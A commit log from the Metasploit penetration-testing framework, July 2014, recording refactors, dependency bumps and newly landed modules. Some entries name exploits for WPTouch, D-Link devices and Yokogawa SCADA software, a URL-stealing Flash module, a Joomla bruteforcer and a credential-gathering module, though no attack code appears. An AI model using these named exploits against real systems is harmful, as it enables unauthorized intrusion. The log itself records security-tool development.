David Bloom a53341f520 Added compatibility with dbvis <= 6
Checking for "config" folder existence if "config70" is not found.
2014-07-15 12:14:38 +02:00
David Bloom e66cc003ae Merge branch 'wchen-r7-pr3522'
Changes ok
2014-07-15 09:18:40 +02:00
Christian Mehlmauer 29bb788d96 Better login detection for wordpress 2014-07-15 07:04:14 +02:00
Christian Mehlmauer c1f612b82a Use vprint_ instead of print_ 2014-07-15 06:58:33 +02:00
OJ 77be5d3e0a Land #3520 : Update Linux Meterpreter Binaries
Includes fixes for the sniffer which stop it breaking on x64 and make
it work with the `any` interface.

[FixRM #6355]
2014-07-15 09:27:30 +10:00
Trevor Rosen 8cafed956b Remove cruft
MSP-9948
2014-07-14 18:26:18 -05:00
Trevor Rosen c1e02d4539 Update deps again
MSP-9948
2014-07-14 18:16:12 -05:00
Trevor Rosen 0966949203 Merge branch 'staging/electro-release' into feature/MSP-9948/update-db-import
Upstream merge

Conflicts:
	Gemfile
	Gemfile.lock
2014-07-14 17:59:54 -05:00
Trevor Rosen aca627489e Pass workspace down in import of creds dump
MSP-9948
2014-07-14 16:40:41 -05:00
James Lee de22aeba41 Land #3481, meterpreter bins 2014-07-14 15:57:52 -05:00
sinn3r cc1ba265cb Change module name for consistency 2014-07-14 15:49:19 -05:00
sinn3r 4d7bffd713 Change header 2014-07-14 15:45:17 -05:00
sinn3r 5a821cea9d Account for EOFError condition 2014-07-14 15:27:40 -05:00
sinn3r 89a877031f I mean "unless", not "if" 2014-07-14 15:24:53 -05:00
sinn3r bec32a01ab For for missing an end 2014-07-14 15:17:54 -05:00
sinn3r cecdcef2e2 + not preferred 2014-07-14 15:14:54 -05:00
sinn3r 0737deb2a3 Remove the last exception handler
We're already checking the file path with file?(), so we don't need
to use exception handling for this task anymore.
2014-07-14 15:02:23 -05:00
sinn3r 8fe3f1a077 File should be checked for existence before reading 2014-07-14 15:01:03 -05:00
sinn3r 20e5803592 Author's Twitter handle should be a comment
msfconsole treats whatever is in <> as the author's email, not
twitter handle
2014-07-14 14:57:36 -05:00
sinn3r 3b6947c1d7 Use Rex to check IPv4 instead of using resolv 2014-07-14 14:56:38 -05:00
dmaloney-r7 f3ec386240 Merge pull request #106 from rapid7/feature/MSP-10686/stop-after-user-success
Feature/msp 10686/stop after user success
2014-07-14 14:56:23 -05:00
sinn3r b5e556519b Change = to ==
This is an if condition, not an assignment
2014-07-14 14:53:27 -05:00
sinn3r 8f51fd0e45 Retabbed and reformatted 2014-07-14 14:39:34 -05:00
William Vu 4904426164 Fix @source and prefer && 2014-07-14 14:36:08 -05:00
Christian Mehlmauer 144c6aecba Added WPTouch fileupload exploit 2014-07-14 21:35:18 +02:00
root 3becfff41e Add Bruteforce Joomla 2014-07-14 14:07:23 -05:00
William Vu 72c0c597bb Land #3523, release fixes
I didn't misspell it this time. :)
2014-07-14 13:53:14 -05:00
William Vu a6739718a5 Land #3521, errant unit test removal 2014-07-14 13:49:07 -05:00
Tod Beardsley 6c595f28d7 Set up a proper peer method 2014-07-14 13:29:07 -05:00
dmaloney-r7 7184d2ed5e Merge pull request #107 from rapid7/feature/MSP-9704/pop3-module-refactor
Refactor pop3_login
2014-07-14 13:27:11 -05:00
David Bloom 72d9587a50 DbVisualizer stores the user database configuration in dbvis.xml
This module retrieves the connections settings from this file
2014-07-14 20:08:48 +02:00
dmaloney-r7 a76fe5402b Merge pull request #104 from rapid7/feature/MSP-10680/realm-key-fixes
Feature/msp 10680/realm key fixes
2014-07-14 12:21:00 -05:00
Tod Beardsley 96554a4967 Remove this errant test::unit test 2014-07-14 10:57:32 -05:00
Tod Beardsley 91ce942e41 Land #3285, wiki plugin by @kn0 2014-07-14 10:38:16 -05:00
Luke Imhoff dee6d9c106 Merge branch 'bug/MSP-10684-electro-installers' of rapid7.github.com:/rapid7/metasploit-framework-private into bug/MSP-10684-electro-installers
MSP-10684
2014-07-14 09:48:38 -05:00
Brandon Turner 20131781b4 Use realpath to resolve symlinks in MSF_ROOT 2014-07-14 09:42:49 -05:00
Luke Imhoff 73ee4ee870 Merge branch 'staging/electro-release' into bug/MSP-10684-electro-installers
MSP-10684
2014-07-14 09:33:11 -05:00
jvazquez-r7 31c447e217 Update binaries 2014-07-14 08:50:30 -05:00
David Bloom 667b1363f3 Delete dbvis_enum.rb 2014-07-14 10:57:53 +02:00
David Bloom 0ef0f6aae1 Update dbvis_enum.rb 2014-07-14 10:54:43 +02:00
David Bloom bcbb0b4fde dbvis connections gathering
DbVisualizer stores the user database configuration in dbvis.xml.
This module retrieves the connections settings from this file.
2014-07-14 10:49:20 +02:00
Trenton Ivey 68d69060fd Merge pull request #1 from todb-r7/pr3285-wiki
Fix up #3285 (very minor changes)
2014-07-13 20:19:25 -05:00
jvazquez-r7 31a615c828 Land #3517, @m-1-k-3's typo fix 2014-07-13 18:21:49 -05:00
midnitesnake 5c101794d6 Fix Solaris sadmind_exec.rb 2014-07-13 17:49:46 +01:00
Trevor Rosen b05b2657bc Now importing creds dumps inside msf zips
MSP-9948
2014-07-13 11:07:01 -05:00
Michael Messner 1b7008dafa typo in name 2014-07-13 13:24:54 +02:00
midnitesnake 8814863a00 applied todbs snmp fixs for OSX https://dev.metasploit.com/redmine/issues/7480
added psProcessUsername MIB to snmp_enumusers - to enumerate users on Solaris Systems
2014-07-13 10:27:45 +01:00
James Lee e68dcdbb06 Refactor pop3_login
Also adjusts timeout in the scanner class to account for Dovecot's
default "Authentication Penalty" delay.

See http://wiki2.dovecot.org/Authentication/Penalty
2014-07-11 17:26:49 -05:00
William Vu 2fd7bcf8bf Land #3514, report_note for scraper 2014-07-11 17:17:10 -05:00
William Vu 00bd540e41 Land #3512, counter for report_note 2014-07-11 17:16:35 -05:00
nodeofgithub 5d833cbb16 http_header report_note remove to_s 2014-07-11 17:14:45 -05:00
nodeofgithub 7e9eb84531 http_header report_note remove brackets, move rport 2014-07-11 17:14:45 -05:00
nodeofgithub a8ec733a3a Interpolate all the things! 2014-07-11 17:14:09 -05:00
nodeofgithub 4abe856fc1 Rescue http_header notes from getting truncated
Seems that only one header line gets added to host notes, and the rest are thrown away. This adds the counter number to the type string, so that each header line entry is unique and correctly saved. I also added port in case you want headers from several ports on one host without the previous getting overwritten.

(scanning shodanhq.com)
----BEFORE----
msf auxiliary(http_header) > run -j
[*] Auxiliary module running as background job
msf auxiliary(http_header) >
[*] 162.159.245.38:80: requesting / via HEAD
[*] 162.159.245.38:80: deleted header Expires
[*] 162.159.245.38:80: CF-RAY: 1485d013ca880773-EWR
[*] 162.159.245.38:80: CACHE-CONTROL: max-age=15
[*] 162.159.245.38:80: CONNECTION: keep-alive
[*] 162.159.245.38:80: CONTENT-TYPE: text/html; charset=UTF-8
[*] 162.159.245.38:80: DATE: Fri, 11 Jul 2014 14:50:20 GMT
[*] 162.159.245.38:80: SERVER: cloudflare-nginx
[*] 162.159.245.38:80: SET-COOKIE: __cfduid=d3914e07fc681306bb53129adb3e6b1d41405090220122; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; HttpOnly
[+] 162.159.245.38:80: detected 7 headers
[*] Scanned 1 of 1 hosts (100% complete)

msf auxiliary(http_header) > notes
[*] Time: 2014-07-11 14:50:19 UTC Note: host=162.159.245.38 type=HTTP header data="SET-COOKIE: __cfduid=d3914e07fc681306bb53129adb3e6b1d41405090220122; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; HttpOnly"
msf auxiliary(http_header) >

----AFTER----
msf auxiliary(http_header) > run -j
[*] Auxiliary module running as background job
msf auxiliary(http_header) >
[*] 162.159.245.38:80: requesting / via HEAD
[*] 162.159.245.38:80: CF-RAY: 14869ad5c0970f57-FRA
[*] 162.159.245.38:80: CACHE-CONTROL: max-age=15
[*] 162.159.245.38:80: CONNECTION: keep-alive
[*] 162.159.245.38:80: CONTENT-TYPE: text/html; charset=UTF-8
[*] 162.159.245.38:80: DATE: Fri, 11 Jul 2014 17:08:45 GMT
[*] 162.159.245.38:80: EXPIRES: Fri, 11 Jul 2014 17:09:00 GMT
[*] 162.159.245.38:80: SERVER: cloudflare-nginx
[*] 162.159.245.38:80: SET-COOKIE: __cfduid=db2918126c4b49780b4669e88b72580521405098525082; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; HttpOnly
[+] 162.159.245.38:80: detected 8 headers
[*] Scanned 1 of 1 hosts (100% complete)

msf auxiliary(http_header) > notes
[*] Time: 2014-07-11 17:08:44 UTC Note: host=162.159.245.38 type=http.80.header.0 data="CF-RAY: 14869ad5c0970f57-FRA"
[*] Time: 2014-07-11 17:08:44 UTC Note: host=162.159.245.38 type=http.80.header.1 data="CACHE-CONTROL: max-age=15"
[*] Time: 2014-07-11 17:08:44 UTC Note: host=162.159.245.38 type=http.80.header.2 data="CONNECTION: keep-alive"
[*] Time: 2014-07-11 17:08:44 UTC Note: host=162.159.245.38 type=http.80.header.3 data="CONTENT-TYPE: text/html; charset=UTF-8"
[*] Time: 2014-07-11 17:08:44 UTC Note: host=162.159.245.38 type=http.80.header.4 data="DATE: Fri, 11 Jul 2014 17:08:45 GMT"
[*] Time: 2014-07-11 17:08:44 UTC Note: host=162.159.245.38 type=http.80.header.5 data="EXPIRES: Fri, 11 Jul 2014 17:09:00 GMT"
[*] Time: 2014-07-11 17:08:44 UTC Note: host=162.159.245.38 type=http.80.header.6 data="SERVER: cloudflare-nginx"
[*] Time: 2014-07-11 17:08:44 UTC Note: host=162.159.245.38 type=http.80.header.7 data="SET-COOKIE: __cfduid=db2918126c4b49780b4669e88b72580521405098525082; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; HttpOnly"
msf auxiliary(http_header) >
2014-07-11 17:14:09 -05:00
Tod Beardsley 2c24cc5c00 Add .plugins to yardoc'able directories. 2014-07-11 14:23:01 -05:00
Tod Beardsley 53d941d4a8 Parens for readability 2014-07-11 14:22:47 -05:00
nodeofgithub 6ef69b4014 scraper report_note, remove eol whitespace 2014-07-11 21:21:56 +02:00
Tod Beardsley 174429eada Test #3285 2014-07-11 14:10:01 -05:00
nodeofgithub ad46c37988 scraper report_note, remove unnecessary to_s 2014-07-11 21:08:35 +02:00
nodeofgithub 7a7d149dc5 scraper report_note, change note type string 2014-07-11 21:01:20 +02:00
Tod Beardsley e5d7dae016 Land #3513, Author name fixups from @jvazquez-r7 2014-07-11 13:58:38 -05:00
jvazquez-r7 867098827a Land jvazquez-r7#17, @todb-r7's fix for one author address 2014-07-11 13:56:40 -05:00
Tod Beardsley b09fab13f0 Fix one flubbed author address 2014-07-11 13:50:37 -05:00
nodeofgithub 8b302cd472 Add report_note to scraper.rb
Just a suggestion. I always personally modify this. I use it to scrape titles often, and i prefer it to be saved in notes rather than wmap results, because i find it easier to search and automatically add results to rhosts.
2014-07-11 20:31:46 +02:00
nodeofgithub b834e7d3cb Update scraper.rb 2014-07-11 20:20:40 +02:00
nodeofgithub da67a63ad0 Add report_note to scraper.rb
Just a suggestion. I always personally modify this. I use it to scrape titles often, and i prefer it to be saved in notes rather than wmap results, because i find it easier to search and automatically add results to rhosts.
2014-07-11 20:07:48 +02:00
jvazquez-r7 8937fbb2f5 Fix email format 2014-07-11 12:45:23 -05:00
William Vu 79603c9a73 Land #3505, a bunch o' Linux post module fixes 2014-07-11 12:39:31 -05:00
Tod Beardsley ced16acf9f Land #3511, new Linux Meterpreter bins 2014-07-11 12:17:08 -05:00
jvazquez-r7 eb9d2f130c Change title 2014-07-11 12:03:09 -05:00
James Lee af2e29612b Merge branch 'staging/electro-release' into feature/MSP-10680/realm-key-fixes 2014-07-11 12:02:40 -05:00
James Lee 30e3ae7459 Merge branch 'staging/electro-release' into feature/MSP-10686/stop-after-user-success 2014-07-11 12:02:02 -05:00
jvazquez-r7 6de2be6ba7 Land #3503, @m-1-k-3's exploit for DLink info.cgi bof OSVDB-108249 2014-07-11 12:01:17 -05:00
jvazquez-r7 a356a0e818 Code cleanup 2014-07-11 12:00:31 -05:00
jvazquez-r7 6fd1ff6870 Merge master 2014-07-11 11:40:39 -05:00
jvazquez-r7 d637171ac0 Change module filename 2014-07-11 11:39:32 -05:00
jvazquez-r7 c55117d455 Some cleanup 2014-07-11 11:39:01 -05:00
Trevor Rosen cc93dbbe29 Merge pull request #102 from rapid7/feature/MSP-9707/smb-bruteforce-refactor
Feature/msp 9707/smb bruteforce refactor

MSP-9707 #land
2014-07-11 11:33:12 -05:00
jvazquez-r7 a7a700c70d Land #3502, @m-1-k-3's DLink devices HNAP Buffer Overflow CVE-2014-3936 2014-07-11 11:25:03 -05:00
jvazquez-r7 b9cda5110c Add target info to message 2014-07-11 11:24:33 -05:00
jvazquez-r7 dea68c66f4 Update title and description 2014-07-11 10:38:53 -05:00
jvazquez-r7 f238c2a93f change module filename 2014-07-11 10:30:50 -05:00
jvazquez-r7 f7d60bebdc Do clean up 2014-07-11 10:28:31 -05:00
William Vu 43f41de124 Land #3508, CVE-2014-4671 Flash JSONP disclosure 2014-07-11 10:11:48 -05:00
jvazquez-r7 8f3197c192 Land #3496, @m-1-k-3's switch to CmdStager on dlink_upnp_exec_noauth 2014-07-11 09:50:57 -05:00
jvazquez-r7 4ea2daa96a Minor cleanup 2014-07-11 09:50:22 -05:00
jvazquez-r7 51cfa168b1 Fix deprecation information 2014-07-11 09:47:30 -05:00
jvazquez-r7 46f5282fd3 Land #3455, @m-1-k-3's exploit for DLink UPNP M-Search Command Injection 2014-07-11 09:39:05 -05:00
jvazquez-r7 611b8a1b6d Modify title and ranking 2014-07-11 09:35:21 -05:00
jvazquez-r7 a9b92ee581 Change module filename 2014-07-11 09:17:56 -05:00
jvazquez-r7 36c6e74221 Do minor fixes 2014-07-11 09:17:34 -05:00
Brandon Turner f29050b6b2 Use MSF_ROOT instead of MSP_ROOT 2014-07-10 20:22:50 -05:00
James Lee 4b16985eb8 Stop trying more creds for a user after success
This is more like the behavior of the old AuthBrute mixin, where a
scanner module was expected to return :next_user in the block given to
each_user_pass when it successfully authenticated.

The advantage is a reduced number of attempts that are very unlikely to
be successful since we already know the password. However, note that
since we don't compare realms, this will cause a false negative in the
rare case where the same username exists with different realms on the
same service.

MSP-10686
2014-07-10 17:48:58 -05:00
jvazquez-r7 074632043f Update meterpreter binaries 2014-07-10 16:36:48 -05:00
Joshua Smith dbe9b47937 lands 3469, fixes handler deadlock in corner cases
May affect the following RM issues which need to be retested:
  https://dev.metasploit.com/redmine/issues/8407
  https://dev.metasploit.com/redmine/issues/4314
  https://dev.metasploit.com/redmine/issues/6829
2014-07-10 16:20:33 -05:00
joev b8225ae2dc Remove unnecessary ||= and ivars. 2014-07-10 16:06:28 -05:00
Brandon Turner e6e88ab4fe Allow declaring root via env var in gemspecs
The bundle build tasks temporarily relocate Gemfile and gemspecs to
temporary directories when packing bundles.  For this to work, we can't
depend on the Gemfile/gemspec exisiting in a specific location relative
to other code.

This allows specifying the project root via the MSP_ROOT environment
variable.  If you do not specify MSP_ROOT, the behavior is unchanged.

MSP-10684
2014-07-10 15:04:33 -05:00
joev e0389dfbc3 Update code as per @wvu's code review. 2014-07-10 15:03:40 -05:00
James Lee 097d5d68ce Display 'realm\user' for AD instead of 'user@realm' 2014-07-10 14:31:42 -05:00
James Lee 62a2f1dc0a Credential -> Model for realm key constants 2014-07-10 14:30:25 -05:00
William Vu 74c1bfe615 Land #3510, grammar fix for module descriptions 2014-07-10 14:00:30 -05:00
James Lee e4039c2382 Merge branch 'staging/electro-release' into feature/MSP-10679/refactor-invalidate-login 2014-07-10 14:00:28 -05:00
Tod Beardsley 688c31cc44 Switch to a space. It gets eaten anyway. 2014-07-10 13:59:30 -05:00
James Lee 147c6d8160 Merge branch 'feature/MSP-10660/realm_adjustments' into staging/electro-release 2014-07-10 13:52:21 -05:00
Michael Messner 109201a5da little auto detect fix 2014-07-10 20:45:49 +02:00
Michael Messner 781149f13f little auto detect fix 2014-07-10 20:40:39 +02:00
Tod Beardsley 5bb3c8a581 Make merged module descriptions more grammar. 2014-07-10 13:31:57 -05:00
jvennix-r7 e104f73d5d Merge pull request #103 from rapid7/bug/MSP-10683/pnd-login-task-assoc
Filler task dropped, login results in task assoc
2014-07-10 13:30:56 -05:00
David Maloney 8833429987 make shared example usage more readable
this seems less obtuse
2014-07-10 12:58:13 -05:00
Meatballs1 bd05ad1457 Merge pull request #52 from scriptjunkie/gpp_again
Fix table printing.
2014-07-10 18:52:38 +01:00
David Maloney 818bd1946d final tweak for the http case
the only scenario in our final else that
would have a realm in the credential is the
http case in which case we want the realm to be there
still. otherwise the credential in this case has no
realm anyways so there is no need to strip one off
2014-07-10 12:39:01 -05:00
William Vu 1cbcc71832 Land #3509, Meterpreter PHP hop description fix 2014-07-10 12:36:04 -05:00
David Maloney 7dc58d060e make only one each method
made the one true enumerator of credentials
for the login_scanner.

also covered the wierd http case where it can have a realm key
but no default realm.
2014-07-10 12:35:09 -05:00
Samuel Huckins 5b1dc39caf Filler task dropped, login results in task assoc
MSP-10683

* Task constraint now optional, so no need for filler
* Task ID now in service_data so it's passed to the core and the login
creation methods
2014-07-10 12:32:40 -05:00
joev dd439066ca Patch rhost to display hostname of JSONP_URL. 2014-07-10 12:02:22 -05:00
Tod Beardsley bcec2df0a4 Fix Meterpreter PHP hop description 2014-07-10 11:35:48 -05:00
David Maloney a319d5270e set default connection tiemouts
loginscanners should have a default connection timeout
2014-07-10 11:35:10 -05:00
joev 841cb6a590 STEAL_URL -> STEAL_URLS. 2014-07-10 09:14:32 -05:00
joev fad30bc874 Add flash rosetta exploit module for stealing URLs. 2014-07-10 09:09:10 -05:00
David Maloney 87e6ede123 Merge branch 'master' into staging/electro-release 2014-07-10 08:44:12 -05:00
Rob Fuller 755dec1629 msftidy up splunk_upload_app_exec 2014-07-10 00:24:48 -04:00
scriptjunkie 2cd9577278 Fix table printing. 2014-07-09 21:46:34 -05:00
James Lee 0daa395007 Fix specs for LoginError cases 2014-07-09 18:11:20 -05:00
David Maloney 1a0200f711 one more strip 2014-07-09 17:50:28 -05:00
David Maloney 25ee278097 strip vestigial realms
in the cases where we don't want a realm we should be
stripping it from the credential so we can build accurate results
2014-07-09 17:46:56 -05:00
James Lee c5226352de Un-login-able should be print_status, not good 2014-07-09 17:45:41 -05:00
James Lee bb3525419e Rescue the right thing
MSP-9707
2014-07-09 17:44:53 -05:00
Tod Beardsley 038d1e210a Merge upstream/master to deconflict.
Conflicts:
	Gemfile.lock
2014-07-09 17:43:42 -05:00
David Maloney 9bbf9486c7 fix schema bleedover
i accidentally polluted the schema earlier,
this should be fixed now
2014-07-09 17:26:22 -05:00
Joshua Smith 3a41bd983e changes 'module' back to 'script', makes more sense 2014-07-09 17:25:39 -05:00
Joshua Smith c6d7c8890d resolves upstream conflict 2014-07-09 17:23:45 -05:00
Joshua Smith a9e43c308e removes lingering debug lines, changes word script to module 2014-07-09 17:05:35 -05:00
Gary Blosser c14b96f02e Add #3463 commits from @ghost 2014-07-09 17:56:06 -04:00
Joshua Smith 8bbaecc726 adds some additional protection against capilization issues 2014-07-09 16:46:28 -05:00
Joshua Smith 172bc450b3 adds TARGET to 'to_neuter' list 2014-07-09 16:46:28 -05:00
Joshua Smith f4942eccd4 cleans up comments, line lengths, dup/clone 2014-07-09 16:46:28 -05:00
Joshua Smith 51db859432 uses exploit_type vs category, thx egypt 2014-07-09 16:46:28 -05:00
linuxchuck ee56828bf7 New updates to scriptable.rb for payload/target
Additional w00t for your pwning pleasure.
2014-07-09 16:46:27 -05:00
Joshua Smith 62785784c6 adds explicit TARGET setting 2014-07-09 16:46:27 -05:00
Joshua Smith cf595d6a10 fixes alias_method call 2014-07-09 16:46:27 -05:00
Joshua Smith 13f5450e53 uses clone instead of dup 2014-07-09 16:46:27 -05:00
Joshua Smith bb13590f02 first shot at letting scriptable.rb handle local exploits 2014-07-09 16:46:27 -05:00
Joshua Smith c957d0a1e7 adds category to msf/core/module.rb 2014-07-09 16:46:27 -05:00
David Maloney 0c4e53ce5a fix up specs
a whole bunch of spec changes needed for
these changes.

alos the axis2 spec was actually testing the winrm
class due to copypasta error.
2014-07-09 16:32:59 -05:00
David Maloney c7b37743ef working realm coercion
LoginScanners will now figure out
the right thing to do about Realms
based on attributes of the Scanner itself
2014-07-09 15:56:39 -05:00
David Maloney 24fced822e coerce realm_key when it exists
if the cred has a realm and the loginscanner
has a realm_key, make the credential use the
scanner's realm key
2014-07-09 14:58:20 -05:00
Michael Messner f068006f05 auto target 2014-07-09 21:53:11 +02:00
Michael Messner 6a765ae3b0 small cleanup 2014-07-09 21:16:29 +02:00
David Maloney 766b50b5e0 REALM_KEY not _TYPE
arg typos
2014-07-09 14:01:41 -05:00
Michael Messner 0674314c74 auto target included 2014-07-09 20:56:04 +02:00
Michael Messner b4812c1b7d auto target included 2014-07-09 20:53:24 +02:00
James Lee 7d9c0da691 Record correct creds with non-success status 2014-07-09 13:26:49 -05:00
James Lee afe36ab6ad Merge branch 'staging/electro-release' into feature/MSP-9707/smb-bruteforce-refactor
Conflicts:
	lib/metasploit/framework/login_scanner/smb.rb
2014-07-09 12:50:24 -05:00
David Maloney 5b66f07f59 migration changes on schema.rb 2014-07-09 12:22:09 -05:00
David Maloney 59c90bba22 version lock rspec
rspec 3 will cause problems for us right now
2014-07-09 12:21:41 -05:00
David Maloney 7325cfec64 add default realm values
for the scanners that take a realm
we know what the default realm to try is
so the Scanner should hold that info
2014-07-09 11:19:25 -05:00
David Maloney bc18ca5762 add REALM_KEY to each LoginScanner
each LoginScanner should now know
what kind of REALM it takes
2014-07-09 10:53:37 -05:00
David Maloney e5abfea36a require new metasploit-credential and -model
get the new Realm Key constants after the
move to -model
2014-07-09 10:43:57 -05:00
David Maloney 487cf325d5 Merge branch 'staging/electro-release' into feature/MSP-10660/realm_adjustments 2014-07-09 10:35:34 -05:00
jvazquez-r7 42823fe15e Test download_exec with linux meterpreter 2014-07-09 09:41:10 -05:00
jvazquez-r7 f4c6505351 Test mount_cifs_creds on linux meterpreter 2014-07-09 09:20:30 -05:00
jvazquez-r7 14b218dce5 Make hashdump compatible with meterpreter 2014-07-09 08:48:20 -05:00
jvazquez-r7 73fdc06d1d Fix enum_xchat to work with meterpreter 2014-07-09 08:37:17 -05:00
Luke Imhoff 467c686701 Merge branch 'bug/MSP-10663/core-opts-needs-a-task-id' into staging/electro-release
MSP-10663
2014-07-08 19:45:11 -05:00
Luke Imhoff dd75c645c3 Update metasploit-credential
MSP-10663
2014-07-08 19:44:38 -05:00
Trevor Rosen a27c1d7dcc Importing old export, making new models
MSP-9948
2014-07-08 19:14:26 -05:00
Trevor Rosen 574f4356e8 Update deps 2014-07-08 18:20:20 -05:00
jvazquez-r7 b47650580a Fix bugs 2014-07-08 16:51:39 -05:00
jvazquez-r7 a364172978 Add meterpreter as session type 2014-07-08 16:25:50 -05:00
jvazquez-r7 c19deddfb1 Delete debug messages 2014-07-08 16:24:45 -05:00
jvazquez-r7 c25c5f6806 Make linux gather post modules compatible with meterpreter 2014-07-08 16:23:57 -05:00
Michael Messner f89f47c4d0 dlink_dspw215_info_cgi_rop 2014-07-08 22:29:57 +02:00
Michael Messner 6fbd6bb4a0 stager 2014-07-08 22:17:02 +02:00
Michael Messner ac727dae89 dlink_dsp_w215_hnap_exploit 2014-07-08 22:13:13 +02:00
Michael Messner 579ce0a858 cleanup 2014-07-08 21:58:15 +02:00
Michael Messner 51001f9cb3 Merge branch 'master' of git://github.com/rapid7/metasploit-framework into dlink_upnp_msearch_command_injection 2014-07-08 21:39:53 +02:00
Michael Messner 84d6d56e15 cleanup, deprecated 2014-07-08 21:36:07 +02:00
Michael Messner 10bcef0c33 cleanup, deprecated 2014-07-08 21:34:28 +02:00
dmaloney-r7 b65989ff0c Merge pull request #100 from rapid7/bug/MSP-10661/glob-rb-files
Use glob instead of entries
2014-07-08 14:29:24 -05:00
Trevor Rosen 79054fae20 Remove credentials exportation from XML
MSP-9948
2014-07-08 12:03:32 -05:00
Lance Sanchez 9d3caf9c2f Merge branch 'feature/MSP-10658/to_credential' into staging/electro-release 2014-07-08 11:17:17 -05:00
Lance Sanchez 6e11a4f789 changing the private_type
chainging trys to show these may all come back nil.

MSP-10658
2014-07-08 11:07:39 -05:00
Lance Sanchez e6f13f6607 reformatting the hash
MSP-10658
2014-07-08 11:07:25 -05:00
William Vu 4eeab66ebe Land #3497, comma-separated get_cookies 2014-07-08 11:00:40 -05:00
James Lee 567435f508 Use glob instead of entries
Fixes the case where a non-ruby file exists in the login_scanner/
directory
2014-07-08 11:00:33 -05:00
Ahmed Elhady Mohamed 6719aea332 The module has been updated again 2014-07-08 17:03:24 +02:00
Trevor Rosen 8436adb5f8 Make XML export work with new backend
MSP-9948

* XML data looks ok in spot check
2014-07-08 09:40:15 -05:00
AnwarMohamed e908bb6819 formating 2014-07-08 11:02:41 +02:00
AnwarMohamed a513f403ba fixing bugs 2014-07-08 10:58:48 +02:00
AnwarMohamed ead7b35aa9 formating 2014-07-08 10:48:24 +02:00
AnwarMohamed 6e0bc763ff formating 2014-07-08 10:46:16 +02:00
AnwarMohamed 656da8a63b android extension 2014-07-08 04:56:04 +02:00
AnwarMohamed 34dcb609e2 android extension 2014-07-08 04:52:06 +02:00
AnwarMohamed cd0f258502 Merge remote-tracking branch 'upstream/master' 2014-07-08 04:25:32 +02:00
David Maloney 38419dae83 fix to_credential on core
the Metasploit::Credential::Core to_credential
method now seats private_type and realm_key correctly
2014-07-07 18:05:04 -05:00
Lance Sanchez d178b1f788 Merge branch 'bug/MSP-10654/compatibility' into staging/electro-release 2014-07-07 17:13:16 -05:00
Lance Sanchez d7450dcbdf updating dependencies
metasploit-credential to pre.electro.pre.release
metasploit-data-models to 0.18.0

MSP-10654
2014-07-07 17:02:22 -05:00
David Maloney aeda74f394 Merge branch 'master' into staging/electro-release
Conflicts:
	Gemfile
	Gemfile.lock
2014-07-07 16:41:23 -05:00
dmaloney-r7 80bee35b70 Merge pull request #97 from rapid7/feature/MSP-10656/unify-ssh-scanners
Feature/msp 10656/unify ssh scanners
2014-07-07 16:37:41 -05:00
David Maloney 2c13ff4038 Merge branch 'staging/electro-release' into feature/MSP-10656/unify-ssh-scanners 2014-07-07 16:32:39 -05:00
dmaloney-r7 db8b0c907b Merge pull request #94 from rapid7/feature/MSP-10648/login-scanner-creation
Feature/msp 10648/login scanner creation
2014-07-07 16:04:09 -05:00
Trevor Rosen 1d7de8fef9 Mid-work commit
MSP-9848
2014-07-07 15:44:29 -05:00
dmaloney-r7 c4c7ff519f Merge pull request #96 from rapid7/feature/MSP-10657/add-private-type
Add private_type and realm_key accessors to Framework::Credential
2014-07-07 15:43:18 -05:00
David Maloney b52c13228c make private_type validation conditional
there are times when this won't be filled in
but the credential is still valid
2014-07-07 15:40:52 -05:00
Luke Imhoff 271fae07cf Update to compatible dependencies
MSP-10654
2014-07-07 14:41:03 -05:00
dmaloney-r7 eda7e7297e Merge pull request #95 from rapid7/feature/MSP-10649/remove-successes
Remove successes and failures
2014-07-07 13:58:40 -05:00
cdoughty-r7 e5b5439e47 Merge pull request #3500 from todb-r7/fixup-release
Release fixup: Description/whitespace changes (minor)
2014-07-07 13:56:07 -05:00
James Lee 4d4b8078f8 Unify SSH specs as well 2014-07-07 13:41:08 -05:00
James Lee 2a9ac0a007 Axe SSHKey in favor of a unified SSH 2014-07-07 13:35:17 -05:00
James Lee 71cbbc5388 Merge branch 'feature/MSP-10648/login-scanner-creation' into feature/MSP-10656/unify-ssh-scanners 2014-07-07 13:19:34 -05:00
James Lee b7cfc927c4 Add private_type and realm_key accessors 2014-07-07 13:07:28 -05:00
Tod Beardsley 9fef2ca0f3 Description/whitespace changes (minor)
Four modules updated for the weekly release with minor cosmetic fixes.

- [ ] See all affected modules still load.
- [ ] See all affected modules have expected `info`
2014-07-07 12:39:05 -05:00
James Lee cff2e1a1c1 And remove specs referencing obsolete accessors 2014-07-07 12:37:14 -05:00
James Lee 5c406a2aa5 Remove successes and failures
No reason to store them and they could fill a ton of unnecessary memory.
2014-07-07 12:33:15 -05:00
James Lee 7035064f3d Assignment alignment for Dave 2014-07-07 12:30:04 -05:00
jvazquez-r7 f1fcc23a08 Land #3499, Yokogawa's CVE-2014-3888 module 2014-07-07 11:37:11 -05:00
jvazquez-r7 cd6b83858b Add new Yokogawa SCADA exploit 2014-07-07 11:20:49 -05:00
HD Moore f8d738d062 Fix QWORD usage, merges #3498 2014-07-07 10:43:48 -05:00
OJ bdf27b1834 Fix up the TLVs that are now QWORD values in MSF
Various values were adjusted to become QWORD values in MSF an windows
meterpreter, but the changes were not ported over to python, php and
java. This commit fixes this inconsistency.
2014-07-07 10:42:58 -05:00
James Lee 8df3ada087 Better docs 2014-07-07 10:18:42 -05:00
James Lee 325d2d25b9 Fix requires and derp typos 2014-07-07 10:09:45 -05:00
HD Moore 8f39590f0f Framework is currently pegged to 0.17.0. Closes #3495 2014-07-07 09:43:05 -05:00
Luke Imhoff d7908e3050 Update schema.rb
MSP-10654
2014-07-07 09:41:46 -05:00
AnwarMohamed 999c305d38 Merge remote-tracking branch 'upstream/master' 2014-07-07 16:29:24 +02:00
OJ ddfd912354 Fix up the TLVs that are now QWORD values in MSF
Various values were adjusted to become QWORD values in MSF an windows
meterpreter, but the changes were not ported over to python, php and
java. This commit fixes this inconsistency.
2014-07-07 19:46:54 +10:00
HD Moore 5961861c97 Merge #2809 into master 2014-07-06 23:46:10 -05:00
HD Moore 6f433db609 Minor typo fix 2014-07-06 23:44:17 -05:00
HD Moore 3ef35f19dc Prefer strip over chomp 2014-07-06 23:17:09 -05:00
HD Moore d76081bcef Prefer strip over chomp 2014-07-06 23:16:56 -05:00
HD Moore ab7848a895 Merge master for testing of #2809 2014-07-06 22:27:58 -05:00
